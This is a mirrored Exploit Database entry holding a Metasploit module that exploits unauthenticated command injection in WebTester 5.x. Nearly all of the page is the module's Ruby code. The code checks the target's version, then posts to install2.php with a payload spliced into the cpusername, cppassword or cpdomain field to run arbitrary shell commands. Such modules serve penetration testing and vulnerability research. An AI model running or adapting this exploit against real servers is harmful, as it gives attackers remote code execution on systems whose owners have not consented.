WebTester 5.x – Command Execution (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2013-10-22
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/29132/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "WebTester 5.x Command Execution",
  'Description'=> %q{
  This module exploits a command execution vulnerability in WebTester
  version 5.x. The 'install2.php' file allows unauthenticated users to
  execute arbitrary commands in the 'cpusername', 'cppassword' and
  'cpdomain' parameters.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Brendan Coles <bcoles[at]gmail.com>'# Metasploit
  ],
  'References' =>
  [
  ['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/']
  ],
  'Payload'=>
  {
  'Space' => 8190, # Just a big value, injection on POST variable
  'DisableNops' => true,
  'BadChars' => "\x00"
  },
  'Arch' => ARCH_CMD,
  'Platform' => 'unix',
  'Targets'=>
  [
  # Tested on WebTester v5.1.20101016
  [ 'WebTester version 5.x', { 'auto' => true } ]
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Oct 17 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
  ], self.class)
  end
  
  #
  # Checks if target is running WebTester version 5.x
  #
  def check
  res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
  
  if not res
  print_error("#{peer} - Connection timed out")
  return Exploit::CheckCode::Unknown
  end
  
  if res.body =~ /Eppler Software/
  if res.body =~ / - v5\.1\.20101016/
  print_status("#{peer} - Found version: 5.1.20101016")
  return Exploit::CheckCode::Vulnerable
  elsif res.body =~ / - v(5\.[\d\.]+)/
  print_status("#{peer} - Found version: #{$1}")
  return Exploit::CheckCode::Appears
  else
  return Exploit::CheckCode::Detected
  end
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  vuln_params = [
  'cpusername',
  'cppassword',
  'cpdomain'
  ]
  print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'install2.php'),
  'vars_post'=> {
  'createdb' => 'yes',
  'cpanel' => 'yes',
  "#{vuln_params.sample}" => "';#{payload.encoded} #"
  }
  })
  
  if not res
  fail_with(Failure::Unknown, "#{peer} - Request timed out")
  elsif res.code == 200 and res.body =~ /Failed to connect to database server/
  print_good("#{peer} - Payload sent successfully")
  else
  fail_with(Failure::Unknown, "#{peer} - Something went wrong")
  end
  
  end
  end